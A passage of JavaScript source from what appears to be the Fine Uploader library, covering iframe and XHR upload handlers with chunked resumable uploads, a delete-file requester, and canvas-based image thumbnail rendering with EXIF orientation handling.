        var options = spec.options, handler = this, proxy = spec.proxy, formHandlerInstanceId = qq.getUniqueId(), onloadCallbacks = {}, detachLoadEvents = {}, postMessageCallbackTimers = {}, isCors = options.isCors, inputName = options.inputName, getUuid = proxy.getUuid, log = proxy.log, corsMessageReceiver = new qq.WindowReceiveMessage({
            log: log
        });
        function expungeFile(id) {
            delete detachLoadEvents[id];
            if (isCors) {
                clearTimeout(postMessageCallbackTimers[id]);
                delete postMessageCallbackTimers[id];
                corsMessageReceiver.stopReceivingMessages(id);
            }
            var iframe = document.getElementById(handler._getIframeName(id));
            if (iframe) {
                iframe.setAttribute("src", "javascript:false;");
                qq(iframe).remove();
            }
        }
        function getFileIdForIframeName(iframeName) {
            return iframeName.split("_")[0];
        }
        function initIframeForUpload(name) {
            var iframe = qq.toElement("<iframe src='javascript:false;' name='" + name + "' />");
            iframe.setAttribute("id", name);
            iframe.style.display = "none";
            document.body.appendChild(iframe);
            return iframe;
        }
        function registerPostMessageCallback(iframe, callback) {
            var iframeName = iframe.id, fileId = getFileIdForIframeName(iframeName), uuid = getUuid(fileId);
            onloadCallbacks[uuid] = callback;
            detachLoadEvents[fileId] = qq(iframe).attach("load", function() {
                if (handler.getInput(fileId)) {
                    log("Received iframe load event for CORS upload request (iframe name " + iframeName + ")");
                    postMessageCallbackTimers[iframeName] = setTimeout(function() {
                        var errorMessage = "No valid message received from loaded iframe for iframe name " + iframeName;
                        log(errorMessage, "error");
                        callback({
                            error: errorMessage
                        });
                    }, 1e3);
                }
            });
            corsMessageReceiver.receiveMessage(iframeName, function(message) {
                log("Received the following window message: '" + message + "'");
                var fileId = getFileIdForIframeName(iframeName), response = handler._parseJsonResponse(message), uuid = response.uuid, onloadCallback;
                if (uuid && onloadCallbacks[uuid]) {
                    log("Handling response for iframe name " + iframeName);
                    clearTimeout(postMessageCallbackTimers[iframeName]);
                    delete postMessageCallbackTimers[iframeName];
                    handler._detachLoadEvent(iframeName);
                    onloadCallback = onloadCallbacks[uuid];
                    delete onloadCallbacks[uuid];
                    corsMessageReceiver.stopReceivingMessages(iframeName);
                    onloadCallback(response);
                } else if (!uuid) {
                    log("'" + message + "' does not contain a UUID - ignoring.");
                }
            });
        }
        qq.extend(this, new qq.UploadHandler(spec));
        qq.override(this, function(super_) {
            return {
                add: function(id, fileInput) {
                    super_.add(id, {
                        input: fileInput
                    });
                    fileInput.setAttribute("name", inputName);
                    if (fileInput.parentNode) {
                        qq(fileInput).remove();
                    }
                },
                expunge: function(id) {
                    expungeFile(id);
                    super_.expunge(id);
                },
                isValid: function(id) {
                    return super_.isValid(id) && handler._getFileState(id).input !== undefined;
                }
            };
        });
        qq.extend(this, {
            getInput: function(id) {
                return handler._getFileState(id).input;
            },
            _attachLoadEvent: function(iframe, callback) {
                var responseDescriptor;
                if (isCors) {
                    registerPostMessageCallback(iframe, callback);
                } else {
                    detachLoadEvents[iframe.id] = qq(iframe).attach("load", function() {
                        log("Received response for " + iframe.id);
                        if (!iframe.parentNode) {
                            return;
                        }
                        try {
                            if (iframe.contentDocument && iframe.contentDocument.body && iframe.contentDocument.body.innerHTML == "false") {
                                return;
                            }
                        } catch (error) {
                            log("Error when attempting to access iframe during handling of upload response (" + error.message + ")", "error");
                            responseDescriptor = {
                                success: false
                            };
                        }
                        callback(responseDescriptor);
                    });
                }
            },
            _createIframe: function(id) {
                var iframeName = handler._getIframeName(id);
                return initIframeForUpload(iframeName);
            },
            _detachLoadEvent: function(id) {
                if (detachLoadEvents[id] !== undefined) {
                    detachLoadEvents[id]();
                    delete detachLoadEvents[id];
                }
            },
            _getIframeName: function(fileId) {
                return fileId + "_" + formHandlerInstanceId;
            },
            _initFormForUpload: function(spec) {
                var method = spec.method, endpoint = spec.endpoint, params = spec.params, paramsInBody = spec.paramsInBody, targetName = spec.targetName, form = qq.toElement("<form method='" + method + "' enctype='multipart/form-data'></form>"), url = endpoint;
                if (paramsInBody) {
                    qq.obj2Inputs(params, form);
                } else {
                    url = qq.obj2url(params, endpoint);
                }
                form.setAttribute("action", url);
                form.setAttribute("target", targetName);
                form.style.display = "none";
                document.body.appendChild(form);
                return form;
            },
            _parseJsonResponse: function(innerHtmlOrMessage) {
                var response = {};
                try {
                    response = qq.parseJson(innerHtmlOrMessage);
                } catch (error) {
                    log("Error when attempting to parse iframe upload response (" + error.message + ")", "error");
                }
                return response;
            }
        });
    };
    qq.XhrUploadHandler = function(spec) {
        "use strict";
        var handler = this, namespace = spec.options.namespace, proxy = spec.proxy, chunking = spec.options.chunking, resume = spec.options.resume, chunkFiles = chunking && spec.options.chunking.enabled && qq.supportedFeatures.chunking, resumeEnabled = resume && spec.options.resume.enabled && chunkFiles && qq.supportedFeatures.resume, getName = proxy.getName, getSize = proxy.getSize, getUuid = proxy.getUuid, getEndpoint = proxy.getEndpoint, getDataByUuid = proxy.getDataByUuid, onUuidChanged = proxy.onUuidChanged, onProgress = proxy.onProgress, log = proxy.log;
        function abort(id) {
            qq.each(handler._getXhrs(id), function(xhrId, xhr) {
                var ajaxRequester = handler._getAjaxRequester(id, xhrId);
                xhr.onreadystatechange = null;
                xhr.upload.onprogress = null;
                xhr.abort();
                ajaxRequester && ajaxRequester.canceled && ajaxRequester.canceled(id);
            });
        }
        qq.extend(this, new qq.UploadHandler(spec));
        qq.override(this, function(super_) {
            return {
                add: function(id, blobOrProxy) {
                    if (qq.isFile(blobOrProxy) || qq.isBlob(blobOrProxy)) {
                        super_.add(id, {
                            file: blobOrProxy
                        });
                    } else if (blobOrProxy instanceof qq.BlobProxy) {
                        super_.add(id, {
                            proxy: blobOrProxy
                        });
                    } else {
                        throw new Error("Passed obj is not a File, Blob, or proxy");
                    }
                    handler._initTempState(id);
                    resumeEnabled && handler._maybePrepareForResume(id);
                },
                expunge: function(id) {
                    abort(id);
                    handler._maybeDeletePersistedChunkData(id);
                    handler._clearXhrs(id);
                    super_.expunge(id);
                }
            };
        });
        qq.extend(this, {
            clearCachedChunk: function(id, chunkIdx) {
                delete handler._getFileState(id).temp.cachedChunks[chunkIdx];
            },
            clearXhr: function(id, chunkIdx) {
                var tempState = handler._getFileState(id).temp;
                if (tempState.xhrs) {
                    delete tempState.xhrs[chunkIdx];
                }
                if (tempState.ajaxRequesters) {
                    delete tempState.ajaxRequesters[chunkIdx];
                }
            },
            finalizeChunks: function(id, responseParser) {
                var lastChunkIdx = handler._getTotalChunks(id) - 1, xhr = handler._getXhr(id, lastChunkIdx);
                if (responseParser) {
                    return new qq.Promise().success(responseParser(xhr), xhr);
                }
                return new qq.Promise().success({}, xhr);
            },
            getFile: function(id) {
                return handler.isValid(id) && handler._getFileState(id).file;
            },
            getProxy: function(id) {
                return handler.isValid(id) && handler._getFileState(id).proxy;
            },
            getResumableFilesData: function() {
                var resumableFilesData = [];
                handler._iterateResumeRecords(function(key, uploadData) {
                    handler.moveInProgressToRemaining(null, uploadData.chunking.inProgress, uploadData.chunking.remaining);
                    var data = {
                        name: uploadData.name,
                        remaining: uploadData.chunking.remaining,
                        size: uploadData.size,
                        uuid: uploadData.uuid
                    };
                    if (uploadData.key) {
                        data.key = uploadData.key;
                    }
                    resumableFilesData.push(data);
                });
                return resumableFilesData;
            },
            isResumable: function(id) {
                return !!chunking && handler.isValid(id) && !handler._getFileState(id).notResumable;
            },
            moveInProgressToRemaining: function(id, optInProgress, optRemaining) {
                var inProgress = optInProgress || handler._getFileState(id).chunking.inProgress, remaining = optRemaining || handler._getFileState(id).chunking.remaining;
                if (inProgress) {
                    log(qq.format("Moving these chunks from in-progress {}, to remaining.", JSON.stringify(inProgress)));
                    inProgress.reverse();
                    qq.each(inProgress, function(idx, chunkIdx) {
                        remaining.unshift(chunkIdx);
                    });
                    inProgress.length = 0;
                }
            },
            pause: function(id) {
                if (handler.isValid(id)) {
                    log(qq.format("Aborting XHR upload for {} '{}' due to pause instruction.", id, getName(id)));
                    handler._getFileState(id).paused = true;
                    abort(id);
                    return true;
                }
            },
            reevaluateChunking: function(id) {
                if (chunking && handler.isValid(id)) {
                    var state = handler._getFileState(id), totalChunks, i;
                    delete state.chunking;
                    state.chunking = {};
                    totalChunks = handler._getTotalChunks(id);
                    if (totalChunks > 1 || chunking.mandatory) {
                        state.chunking.enabled = true;
                        state.chunking.parts = totalChunks;
                        state.chunking.remaining = [];
                        for (i = 0; i < totalChunks; i++) {
                            state.chunking.remaining.push(i);
                        }
                        handler._initTempState(id);
                    } else {
                        state.chunking.enabled = false;
                    }
                }
            },
            updateBlob: function(id, newBlob) {
                if (handler.isValid(id)) {
                    handler._getFileState(id).file = newBlob;
                }
            },
            _clearXhrs: function(id) {
                var tempState = handler._getFileState(id).temp;
                qq.each(tempState.ajaxRequesters, function(chunkId) {
                    delete tempState.ajaxRequesters[chunkId];
                });
                qq.each(tempState.xhrs, function(chunkId) {
                    delete tempState.xhrs[chunkId];
                });
            },
            _createXhr: function(id, optChunkIdx) {
                return handler._registerXhr(id, optChunkIdx, qq.createXhrInstance());
            },
            _getAjaxRequester: function(id, optChunkIdx) {
                var chunkIdx = optChunkIdx == null ? -1 : optChunkIdx;
                return handler._getFileState(id).temp.ajaxRequesters[chunkIdx];
            },
            _getChunkData: function(id, chunkIndex) {
                var chunkSize = chunking.partSize, fileSize = getSize(id), fileOrBlob = handler.getFile(id), startBytes = chunkSize * chunkIndex, endBytes = startBytes + chunkSize >= fileSize ? fileSize : startBytes + chunkSize, totalChunks = handler._getTotalChunks(id), cachedChunks = this._getFileState(id).temp.cachedChunks, blob = cachedChunks[chunkIndex] || qq.sliceBlob(fileOrBlob, startBytes, endBytes);
                cachedChunks[chunkIndex] = blob;
                return {
                    part: chunkIndex,
                    start: startBytes,
                    end: endBytes,
                    count: totalChunks,
                    blob: blob,
                    size: endBytes - startBytes
                };
            },
            _getChunkDataForCallback: function(chunkData) {
                return {
                    partIndex: chunkData.part,
                    startByte: chunkData.start + 1,
                    endByte: chunkData.end,
                    totalParts: chunkData.count
                };
            },
            _getLocalStorageId: function(id) {
                var formatVersion = "5.0", name = getName(id), size = getSize(id), chunkSize = chunking.partSize, endpoint = getEndpoint(id);
                return qq.format("qq{}resume{}-{}-{}-{}-{}", namespace, formatVersion, name, size, chunkSize, endpoint);
            },
            _getMimeType: function(id) {
                return handler.getFile(id).type;
            },
            _getPersistableData: function(id) {
                return handler._getFileState(id).chunking;
            },
            _getTotalChunks: function(id) {
                if (chunking) {
                    var fileSize = getSize(id), chunkSize = chunking.partSize;
                    return Math.ceil(fileSize / chunkSize);
                }
            },
            _getXhr: function(id, optChunkIdx) {
                var chunkIdx = optChunkIdx == null ? -1 : optChunkIdx;
                return handler._getFileState(id).temp.xhrs[chunkIdx];
            },
            _getXhrs: function(id) {
                return handler._getFileState(id).temp.xhrs;
            },
            _iterateResumeRecords: function(callback) {
                if (resumeEnabled) {
                    qq.each(localStorage, function(key, item) {
                        if (key.indexOf(qq.format("qq{}resume", namespace)) === 0) {
                            var uploadData = JSON.parse(item);
                            callback(key, uploadData);
                        }
                    });
                }
            },
            _initTempState: function(id) {
                handler._getFileState(id).temp = {
                    ajaxRequesters: {},
                    chunkProgress: {},
                    xhrs: {},
                    cachedChunks: {}
                };
            },
            _markNotResumable: function(id) {
                handler._getFileState(id).notResumable = true;
            },
            _maybeDeletePersistedChunkData: function(id) {
                var localStorageId;
                if (resumeEnabled && handler.isResumable(id)) {
                    localStorageId = handler._getLocalStorageId(id);
                    if (localStorageId && localStorage.getItem(localStorageId)) {
                        localStorage.removeItem(localStorageId);
                        return true;
                    }
                }
                return false;
            },
            _maybePrepareForResume: function(id) {
                var state = handler._getFileState(id), localStorageId, persistedData;
                if (resumeEnabled && state.key === undefined) {
                    localStorageId = handler._getLocalStorageId(id);
                    persistedData = localStorage.getItem(localStorageId);
                    if (persistedData) {
                        persistedData = JSON.parse(persistedData);
                        if (getDataByUuid(persistedData.uuid)) {
                            handler._markNotResumable(id);
                        } else {
                            log(qq.format("Identified file with ID {} and name of {} as resumable.", id, getName(id)));
                            onUuidChanged(id, persistedData.uuid);
                            state.key = persistedData.key;
                            state.chunking = persistedData.chunking;
                            state.loaded = persistedData.loaded;
                            state.attemptingResume = true;
                            handler.moveInProgressToRemaining(id);
                        }
                    }
                }
            },
            _maybePersistChunkedState: function(id) {
                var state = handler._getFileState(id), localStorageId, persistedData;
                if (resumeEnabled && handler.isResumable(id)) {
                    localStorageId = handler._getLocalStorageId(id);
                    persistedData = {
                        name: getName(id),
                        size: getSize(id),
                        uuid: getUuid(id),
                        key: state.key,
                        chunking: state.chunking,
                        loaded: state.loaded,
                        lastUpdated: Date.now()
                    };
                    try {
                        localStorage.setItem(localStorageId, JSON.stringify(persistedData));
                    } catch (error) {
                        log(qq.format("Unable to save resume data for '{}' due to error: '{}'.", id, error.toString()), "warn");
                    }
                }
            },
            _registerProgressHandler: function(id, chunkIdx, chunkSize) {
                var xhr = handler._getXhr(id, chunkIdx), name = getName(id), progressCalculator = {
                    simple: function(loaded, total) {
                        var fileSize = getSize(id);
                        if (loaded === total) {
                            onProgress(id, name, fileSize, fileSize);
                        } else {
                            onProgress(id, name, loaded >= fileSize ? fileSize - 1 : loaded, fileSize);
                        }
                    },
                    chunked: function(loaded, total) {
                        var chunkProgress = handler._getFileState(id).temp.chunkProgress, totalSuccessfullyLoadedForFile = handler._getFileState(id).loaded, loadedForRequest = loaded, totalForRequest = total, totalFileSize = getSize(id), estActualChunkLoaded = loadedForRequest - (totalForRequest - chunkSize), totalLoadedForFile = totalSuccessfullyLoadedForFile;
                        chunkProgress[chunkIdx] = estActualChunkLoaded;
                        qq.each(chunkProgress, function(chunkIdx, chunkLoaded) {
                            totalLoadedForFile += chunkLoaded;
                        });
                        onProgress(id, name, totalLoadedForFile, totalFileSize);
                    }
                };
                xhr.upload.onprogress = function(e) {
                    if (e.lengthComputable) {
                        var type = chunkSize == null ? "simple" : "chunked";
                        progressCalculator[type](e.loaded, e.total);
                    }
                };
            },
            _registerXhr: function(id, optChunkIdx, xhr, optAjaxRequester) {
                var xhrsId = optChunkIdx == null ? -1 : optChunkIdx, tempState = handler._getFileState(id).temp;
                tempState.xhrs = tempState.xhrs || {};
                tempState.ajaxRequesters = tempState.ajaxRequesters || {};
                tempState.xhrs[xhrsId] = xhr;
                if (optAjaxRequester) {
                    tempState.ajaxRequesters[xhrsId] = optAjaxRequester;
                }
                return xhr;
            },
            _removeExpiredChunkingRecords: function() {
                var expirationDays = resume.recordsExpireIn;
                handler._iterateResumeRecords(function(key, uploadData) {
                    var expirationDate = new Date(uploadData.lastUpdated);
                    expirationDate.setDate(expirationDate.getDate() + expirationDays);
                    if (expirationDate.getTime() <= Date.now()) {
                        log("Removing expired resume record with key " + key);
                        localStorage.removeItem(key);
                    }
                });
            },
            _shouldChunkThisFile: function(id) {
                var state = handler._getFileState(id);
                if (!state.chunking) {
                    handler.reevaluateChunking(id);
                }
                return state.chunking.enabled;
            }
        });
    };
    qq.DeleteFileAjaxRequester = function(o) {
        "use strict";
        var requester, options = {
            method: "DELETE",
            uuidParamName: "qquuid",
            endpointStore: {},
            maxConnections: 3,
            customHeaders: function(id) {
                return {};
            },
            paramsStore: {},
            cors: {
                expected: false,
                sendCredentials: false
            },
            log: function(str, level) {},
            onDelete: function(id) {},
            onDeleteComplete: function(id, xhrOrXdr, isError) {}
        };
        qq.extend(options, o);
        function getMandatedParams() {
            if (options.method.toUpperCase() === "POST") {
                return {
                    _method: "DELETE"
                };
            }
            return {};
        }
        requester = qq.extend(this, new qq.AjaxRequester({
            acceptHeader: "application/json",
            validMethods: [ "POST", "DELETE" ],
            method: options.method,
            endpointStore: options.endpointStore,
            paramsStore: options.paramsStore,
            mandatedParams: getMandatedParams(),
            maxConnections: options.maxConnections,
            customHeaders: function(id) {
                return options.customHeaders.get(id);
            },
            log: options.log,
            onSend: options.onDelete,
            onComplete: options.onDeleteComplete,
            cors: options.cors
        }));
        qq.extend(this, {
            sendDelete: function(id, uuid, additionalMandatedParams) {
                var additionalOptions = additionalMandatedParams || {};
                options.log("Submitting delete file request for " + id);
                if (options.method === "DELETE") {
                    requester.initTransport(id).withPath(uuid).withParams(additionalOptions).send();
                } else {
                    additionalOptions[options.uuidParamName] = uuid;
                    requester.initTransport(id).withParams(additionalOptions).send();
                }
            }
        });
    };
    (function() {
        function detectSubsampling(img) {
            var iw = img.naturalWidth, ih = img.naturalHeight, canvas = document.createElement("canvas"), ctx;
            if (iw * ih > 1024 * 1024) {
                canvas.width = canvas.height = 1;
                ctx = canvas.getContext("2d");
                ctx.drawImage(img, -iw + 1, 0);
                return ctx.getImageData(0, 0, 1, 1).data[3] === 0;
            } else {
                return false;
            }
        }
        function detectVerticalSquash(img, iw, ih) {
            var canvas = document.createElement("canvas"), sy = 0, ey = ih, py = ih, ctx, data, alpha, ratio;
            canvas.width = 1;
            canvas.height = ih;
            ctx = canvas.getContext("2d");
            ctx.drawImage(img, 0, 0);
            data = ctx.getImageData(0, 0, 1, ih).data;
            while (py > sy) {
                alpha = data[(py - 1) * 4 + 3];
                if (alpha === 0) {
                    ey = py;
                } else {
                    sy = py;
                }
                py = ey + sy >> 1;
            }
            ratio = py / ih;
            return ratio === 0 ? 1 : ratio;
        }
        function renderImageToDataURL(img, blob, options, doSquash) {
            var canvas = document.createElement("canvas"), mime = options.mime || "image/jpeg", promise = new qq.Promise();
            renderImageToCanvas(img, blob, canvas, options, doSquash).then(function() {
                promise.success(canvas.toDataURL(mime, options.quality || .8));
            });
            return promise;
        }
        function maybeCalculateDownsampledDimensions(spec) {
            var maxPixels = 5241e3;
            if (!qq.ios()) {
                throw new qq.Error("Downsampled dimensions can only be reliably calculated for iOS!");
            }
            if (spec.origHeight * spec.origWidth > maxPixels) {
                return {
                    newHeight: Math.round(Math.sqrt(maxPixels * (spec.origHeight / spec.origWidth))),
                    newWidth: Math.round(Math.sqrt(maxPixels * (spec.origWidth / spec.origHeight)))
                };
            }
        }
        function renderImageToCanvas(img, blob, canvas, options, doSquash) {
            var iw = img.naturalWidth, ih = img.naturalHeight, width = options.width, height = options.height, ctx = canvas.getContext("2d"), promise = new qq.Promise(), modifiedDimensions;
            ctx.save();
            if (options.resize) {
                return renderImageToCanvasWithCustomResizer({
                    blob: blob,
                    canvas: canvas,
                    image: img,
                    imageHeight: ih,
                    imageWidth: iw,
                    orientation: options.orientation,
                    resize: options.resize,
                    targetHeight: height,
                    targetWidth: width
                });
            }
            if (!qq.supportedFeatures.unlimitedScaledImageSize) {
                modifiedDimensions = maybeCalculateDownsampledDimensions({
                    origWidth: width,
                    origHeight: height
                });
                if (modifiedDimensions) {
                    qq.log(qq.format("Had to reduce dimensions due to device limitations from {}w / {}h to {}w / {}h", width, height, modifiedDimensions.newWidth, modifiedDimensions.newHeight), "warn");
                    width = modifiedDimensions.newWidth;
                    height = modifiedDimensions.newHeight;
                }
            }
            transformCoordinate(canvas, width, height, options.orientation);
            if (qq.ios()) {
                (function() {
                    if (detectSubsampling(img)) {
                        iw /= 2;
                        ih /= 2;
                    }
                    var d = 1024, tmpCanvas = document.createElement("canvas"), vertSquashRatio = doSquash ? detectVerticalSquash(img, iw, ih) : 1, dw = Math.ceil(d * width / iw), dh = Math.ceil(d * height / ih / vertSquashRatio), sy = 0, dy = 0, tmpCtx, sx, dx;
                    tmpCanvas.width = tmpCanvas.height = d;
                    tmpCtx = tmpCanvas.getContext("2d");
                    while (sy < ih) {
                        sx = 0;
                        dx = 0;
                        while (sx < iw) {
                            tmpCtx.clearRect(0, 0, d, d);
                            tmpCtx.drawImage(img, -sx, -sy);
                            ctx.drawImage(tmpCanvas, 0, 0, d, d, dx, dy, dw, dh);
                            sx += d;
                            dx += dw;
                        }
                        sy += d;
                        dy += dh;
                    }
                    ctx.restore();
                    tmpCanvas = tmpCtx = null;
                })();
            } else {
                ctx.drawImage(img, 0, 0, width, height);
            }
            canvas.qqImageRendered && canvas.qqImageRendered();
            promise.success();
            return promise;
        }
        function renderImageToCanvasWithCustomResizer(resizeInfo) {
            var blob = resizeInfo.blob, image = resizeInfo.image, imageHeight = resizeInfo.imageHeight, imageWidth = resizeInfo.imageWidth, orientation = resizeInfo.orientation, promise = new qq.Promise(), resize = resizeInfo.resize, sourceCanvas = document.createElement("canvas"), sourceCanvasContext = sourceCanvas.getContext("2d"), targetCanvas = resizeInfo.canvas, targetHeight = resizeInfo.targetHeight, targetWidth = resizeInfo.targetWidth;
            transformCoordinate(sourceCanvas, imageWidth, imageHeight, orientation);
            targetCanvas.height = targetHeight;
            targetCanvas.width = targetWidth;
            sourceCanvasContext.drawImage(image, 0, 0);
            resize({
                blob: blob,
                height: targetHeight,
                image: image,
                sourceCanvas: sourceCanvas,
                targetCanvas: targetCanvas,
                width: targetWidth
            }).then(function success() {
                targetCanvas.qqImageRendered && targetCanvas.qqImageRendered();
                promise.success();
            }, promise.failure);
            return promise;
        }
        function transformCoordinate(canvas, width, height, orientation) {
            switch (orientation) {
              case 5:
              case 6:
              case 7:
              case 8:
                canvas.width = height;
                canvas.height = width;
                break;

              default:
                canvas.width = width;
                canvas.height = height;
            }
            var ctx = canvas.getContext("2d");
            switch (orientation) {
              case 2:
                ctx.translate(width, 0);
                ctx.scale(-1, 1);
                break;

              case 3:
                ctx.translate(width, height);
                ctx.rotate(Math.PI);
                break;

              case 4:
                ctx.translate(0, height);
                ctx.scale(1, -1);
                break;

              case 5:
                ctx.rotate(.5 * Math.PI);
                ctx.scale(1, -1);
                break;

              case 6:
                ctx.rotate(.5 * Math.PI);
                ctx.translate(0, -height);
                break;

              case 7:
                ctx.rotate(.5 * Math.PI);
                ctx.translate(width, -height);
                ctx.scale(-1, 1);
                break;

              case 8:
                ctx.rotate(-.5 * Math.PI);
                ctx.translate(-width, 0);
                break;

              default:
                break;
            }
        }
        function MegaPixImage(srcImage, errorCallback) {
            var self = this;
            if (window.Blob && srcImage instanceof Blob) {
                (function() {
                    var img = new Image(), URL = window.URL && window.URL.createObjectURL ? window.URL : window.webkitURL && window.webkitURL.createObjectURL ? window.webkitURL : null;
                    if (!URL) {
                        throw Error("No createObjectURL function found to create blob url");
                    }
                    img.src = URL.createObjectURL(srcImage);
                    self.blob = srcImage;
                    srcImage = img;
                })();
            }
            if (!srcImage.naturalWidth && !srcImage.naturalHeight) {
                srcImage.onload = function() {
                    var listeners = self.imageLoadListeners;
                    if (listeners) {
                        self.imageLoadListeners = null;
                        setTimeout(function() {
                            for (var i = 0, len = listeners.length; i < len; i++) {
                                listeners[i]();
                            }
                        }, 0);
                    }
                };
                srcImage.onerror = errorCallback;
                this.imageLoadListeners = [];
            }
            this.srcImage = srcImage;
        }
        MegaPixImage.prototype.render = function(target, options) {
            options = options || {};
            var self = this, imgWidth = this.srcImage.naturalWidth, imgHeight = this.srcImage.naturalHeight, width = options.width, height = options.height, maxWidth = options.maxWidth, maxHeight = options.maxHeight, doSquash = !this.blob || this.blob.type === "image/jpeg", tagName = target.tagName.toLowerCase(), opt;
            if (this.imageLoadListeners) {
                this.imageLoadListeners.push(function() {
                    self.render(target, options);
                });
                return;
            }
            if (width && !height) {
                height = imgHeight * width / imgWidth << 0;
            } else if (height && !width) {
                width = imgWidth * height / imgHeight << 0;
            } else {
                width = imgWidth;
                height = imgHeight;
            }
            if (maxWidth && width > maxWidth) {
                width = maxWidth;
                height = imgHeight * width / imgWidth << 0;
            }
            if (maxHeight && height > maxHeight) {
                height = maxHeight;
                width = imgWidth * height / imgHeight << 0;
            }
            opt = {
                width: width,
                height: height
            }, qq.each(options, function(optionsKey, optionsValue) {
                opt[optionsKey] = optionsValue;
            });
            if (tagName === "img") {
                (function() {
                    var oldTargetSrc = target.src;
                    renderImageToDataURL(self.srcImage, self.blob, opt, doSquash).then(function(dataUri) {
                        target.src = dataUri;
                        oldTargetSrc === target.src && target.onload();
                    });
                })();
            } else if (tagName === "canvas") {
                renderImageToCanvas(this.srcImage, this.blob, target, opt, doSquash);
            }
            if (typeof this.onrender === "function") {
                this.onrender(target);
            }
        };
        qq.MegaPixImage = MegaPixImage;
    })();
    qq.ImageGenerator = function(log) {
        "use strict";
        function isImg(el) {
            return el.tagName.toLowerCase() === "img";
        }
        function isCanvas(el) {
            return el.tagName.toLowerCase() === "canvas";
        }
        function isImgCorsSupported() {
            return new Image().crossOrigin !== undefined;
        }
        function isCanvasSupported() {
            var canvas = document.createElement("canvas");
            return canvas.getContext && canvas.getContext("2d");
        }
        function determineMimeOfFileName(nameWithPath) {
            var pathSegments = nameWithPath.split("/"), name = pathSegments[pathSegments.length - 1].split("?")[0], extension = qq.getExtension(name);
            extension = extension && extension.toLowerCase();
            switch (extension) {
              case "jpeg":
              case "jpg":
                return "image/jpeg";

              case "png":
                return "image/png";

              case "bmp":
                return "image/bmp";

              case "gif":
                return "image/gif";

              case "tiff":
              case "tif":
                return "image/tiff";
            }
        }
        function isCrossOrigin(url) {
            var targetAnchor = document.createElement("a"), targetProtocol, targetHostname, targetPort;
            targetAnchor.href = url;
            targetProtocol = targetAnchor.protocol;
            targetPort = targetAnchor.port;
            targetHostname = targetAnchor.hostname;
            if (targetProtocol.toLowerCase() !== window.location.protocol.toLowerCase()) {
                return true;
            }
            if (targetHostname.toLowerCase() !== window.location.hostname.toLowerCase()) {
                return true;
            }
            if (targetPort !== window.location.port && !qq.ie()) {
                return true;
            }
            return false;
        }
        function registerImgLoadListeners(img, promise) {
            img.onload = function() {
                img.onload = null;
                img.onerror = null;
                promise.success(img);
            };
            img.onerror = function() {
                img.onload = null;
                img.onerror = null;
                log("Problem drawing thumbnail!", "error");
                promise.failure(img, "Problem drawing thumbnail!");
            };
        }
        function registerCanvasDrawImageListener(canvas, promise) {
            canvas.qqImageRendered = function() {
                promise.success(canvas);
            };
        }
        function registerThumbnailRenderedListener(imgOrCanvas, promise) {
            var registered = isImg(imgOrCanvas) || isCanvas(imgOrCanvas);
            if (isImg(imgOrCanvas)) {
                registerImgLoadListeners(imgOrCanvas, promise);
            } else if (isCanvas(imgOrCanvas)) {
                registerCanvasDrawImageListener(imgOrCanvas, promise);
            } else {
                promise.failure(imgOrCanvas);
                log(qq.format("Element container of type {} is not supported!", imgOrCanvas.tagName), "error");
            }
            return registered;
        }
        function draw(fileOrBlob, container, options) {
            var drawPreview = new qq.Promise(), identifier = new qq.Identify(fileOrBlob, log), maxSize = options.maxSize, orient = options.orient == null ? true : options.orient, megapixErrorHandler = function() {
                container.onerror = null;
                container.onload = null;
                log("Could not render preview, file may be too large!", "error");
                drawPreview.failure(container, "Browser cannot render image!");
            };
            identifier.isPreviewable().then(function(mime) {
                var dummyExif = {
                    parse: function() {
                        return new qq.Promise().success();
                    }
                }, exif = orient ? new qq.Exif(fileOrBlob, log) : dummyExif, mpImg = new qq.MegaPixImage(fileOrBlob, megapixErrorHandler);
                if (registerThumbnailRenderedListener(container, drawPreview)) {
                    exif.parse().then(function(exif) {
                        var orientation = exif && exif.Orientation;
                        mpImg.render(container, {
                            maxWidth: maxSize,
                            maxHeight: maxSize,
                            orientation: orientation,
                            mime: mime,
                            resize: options.customResizeFunction
                        });
                    }, function(failureMsg) {
                        log(qq.format("EXIF data could not be parsed ({}).  Assuming orientation = 1.", failureMsg));
                        mpImg.render(container, {
                            maxWidth: maxSize,
                            maxHeight: maxSize,
                            mime: mime,
                            resize: options.customResizeFunction
                        });
                    });
                }
            }, function() {
                log("Not previewable");
                drawPreview.failure(container, "Not previewable");
            });
            return drawPreview;
        }
        function drawOnCanvasOrImgFromUrl(url, canvasOrImg, draw, maxSize, customResizeFunction) {
            var tempImg = new Image(), tempImgRender = new qq.Promise();
            registerThumbnailRenderedListener(tempImg, tempImgRender);
            if (isCrossOrigin(url)) {
                tempImg.crossOrigin = "anonymous";
            }
            tempImg.src = url;
            tempImgRender.then(function rendered() {
                registerThumbnailRenderedListener(canvasOrImg, draw);
                var mpImg = new qq.MegaPixImage(tempImg);
                mpImg.render(canvasOrImg, {
                    maxWidth: maxSize,
                    maxHeight: maxSize,
                    mime: determineMimeOfFileName(url),
                    resize: customResizeFunction
                });
            }, draw.failure);
        }
        function drawOnImgFromUrlWithCssScaling(url, img, draw, maxSize) {
            registerThumbnailRenderedListener(img, draw);
            qq(img).css({
                maxWidth: maxSize + "px",
                maxHeight: maxSize + "px"
            });
            img.src = url;
        }
        function drawFromUrl(url, container, options) {
            var draw = new qq.Promise(), scale = options.scale, maxSize = scale ? options.maxSize : null;
            if (scale && isImg(container)) {
                if (isCanvasSupported()) {
                    if (isCrossOrigin(url) && !isImgCorsSupported()) {
                        drawOnImgFromUrlWithCssScaling(url, container, draw, maxSize);
                    } else {
                        drawOnCanvasOrImgFromUrl(url, container, draw, maxSize);
                    }
                } else {
                    drawOnImgFromUrlWithCssScaling(url, container, draw, maxSize);
                }
            } else if (isCanvas(container)) {
                drawOnCanvasOrImgFromUrl(url, container, draw, maxSize);
            } else if (registerThumbnailRenderedListener(container, draw)) {
                container.src = url;
            }
            return draw;
        }
        qq.extend(this, {
            generate: function(fileBlobOrUrl, container, options) {
                if (qq.isString(fileBlobOrUrl)) {
                    log("Attempting to update thumbnail based on server response.");
                    return drawFromUrl(fileBlobOrUrl, container, options || {});
                } else {
                    log("Attempting to draw client-side image preview.");
                    return draw(fileBlobOrUrl, container, options || {});
                }
            }
        });
        this._testing = {};
        this._testing.isImg = isImg;
        this._testing.isCanvas = isCanvas;
        this._testing.isCrossOrigin = isCrossOrigin;
        this._testing.determineMimeOfFileName = determineMimeOfFileName;
    };
    qq.Exif = function(fileOrBlob, log) {
        "use strict";
        var TAG_IDS = [ 274 ], TAG_INFO = {
            274: {
                name: "Orientation",
                bytes: 2
            }
        };
        function parseLittleEndian(hex) {
            var result = 0, pow = 0;
            while (hex.length > 0) {
